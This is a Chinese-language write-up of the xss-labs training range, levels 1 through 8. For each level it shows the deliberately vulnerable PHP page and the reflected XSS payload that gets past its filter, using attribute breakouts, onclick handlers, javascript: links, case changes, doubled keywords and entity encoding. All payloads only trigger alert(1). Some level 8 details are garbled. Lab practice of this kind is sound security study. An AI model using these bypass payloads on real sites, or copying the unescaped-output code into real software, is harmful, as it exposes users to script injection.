xss-lab全通关
xss-labs Less-1
首先是代码审计,可以看到是利用name参数进行GET传参,$str没有进行任何的过滤,只要触发了alert函数也就是弹窗了就会自动跳转下一关
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
修改url参数,payload如下
http://xss-labs:86/level1.php?name=<script>alert(1)</script>


xss-labs Less-2

审计一下代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
看到关键信息,可以看到我们的get传参输入会被直接拼接到""双引号里面
<input name=keyword value="'.$str.'">
想要绕过我们就将前面的双引号闭合,payload如下
"><script>alert(1)</script>
这样闭合的话input标签就会被提前闭合,然后浏览器就会解析接下来的script标签,触发alert的JavaScript代码弹窗。不过后面的">就是多余的东西了
<input name=keyword value=""><script>alert(1)</script>">

我们还能用onclick属性,payload如下
" onclick="alert(1)
那么原来的html代码就会变成下面这样,value属性被提前闭合,浏览器就会访问标签中的下一个属性onclick,意思就是"鼠标点击这里的时候触发,触发alert函数的话就会弹窗
<input name=keyword value="" onclick="alert(1)">

xss-labs Less-3

依旧审计源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
关键部分,这里相比较于第二关的话多了个htmlspecialchars函数过滤,这个函数会过滤 <font style="background-color:rgba(0, 0, 0, 0.06);">></font>``<font style="background-color:rgba(0, 0, 0, 0.06);"><</font>``<font style="background-color:rgba(0, 0, 0, 0.06);">""</font>但是不会过滤单引号<font style="background-color:rgba(0, 0, 0, 0.06);">'</font>,而且这里html是用<font style="background-color:rgba(0, 0, 0, 0.06);">''</font>单引号闭合,双引号是用来给php解释器看字符串的起始位置的并不会输出到浏览器里面,所以这里我们利用onclick结合单引号闭合即可,不能用script标签因为会被htmlspecailchar
s()函数过滤
<input name=keyword value='".htmlspecialchars($str)."'>
payload如下
' onclick = ' alert(1)
插入html代码后变为,可以看到闭合没有问题
<input name=keyword value='' onclick = ' alert(1)'>
成功弹窗

xss-labs Less-4

依旧审计代码这一块、
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
看到关键部分,意思就是会将输入的$str参数中的"<"和">"置空,那么script参数就不能用了(悲),所以这里就可以用第二关中的onclick payload(因为都是双引号闭合)
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword value="'.$str3.'">
payload如下
" onclick="alert(1)

xss-labs Less-5

依旧审计代码这一块
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
看到关键部分,这里的话不仅过滤了script标签,还给我onclick属性给过滤了,我们需要一个既不需要 script 标签,也不需要 on 开头的事件属性的 XSS 载体
strtolower: 将输入全部转换为小写。这意味着我们不能通过大小写混合(如 ScRiPt 或 ONclick)来绕过后续的替换。
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
这里依旧是双引号闭合
<input name=keyword value="'.$str3.'">
标签的 href 属性: 我们可以使用 javascript: 伪协议。
"> <a href="javascript:alert(1)">click me</a>
拼接到html代码里面则为,后面的<font style="background-color:rgba(0, 0, 0, 0.06);">"></font> 为多余部分不必理会
<input name=keyword value=""> <a href="javascript:alert(1)">click me</a>">
执行代码后可以看到生成了一个超链接,只要点击这个超链接就会自动执行alert代码
、

xss-labs Less-6

依旧代码审计这一块
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
这里给我href data src on <script都给过滤了,但是仔细看可以发现这里没有strtolower函数,那我们是不是可以直接用大写过滤
<input name=keyword value="'.$str6.'">
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
构造payload如下
"><SCRIPT>alert(1)</SCRIPT>
" Onclick="alert(1)
"> <a HREF="javascript:alert(1)">click me</a>


xss-labs Less-7

依旧审计源码这一块
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
但是我们可以发现这次加上了对大小写的过滤,那么我们就只能用双写绕过了(怎么感觉思路和之前打的RCE-lab和upload-lab一样的)
关键代码如下
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword value="'.$str6.'">
构造payload如下
"><scrscriptipt>alert(1)</scrscriptipt>
" oonnclick="alert(1)

xss-labs Less-8

依旧审计源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
只看关键部分,这次把"给过滤了,所以我们甚至无法闭合,但是这次我们拼接的是href标签,就不闭合了直接构造超链接了。
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
想使用之前的payloadjavascript:alert(1)但是script被过滤了且严格大小写,双写绕过吧
javascriscriptpt:alert(1)
怎么显示我没权限

草,才发现这里源码不是将script置空而是替换成"scri_pt"了
那就只能使用html实体编码了,找一个
在线转码的

javascript:alert(1)


学习xss漏洞的基础靶场,不过全是反射型,学习一下过滤手法
浙公网安备 33010602011771号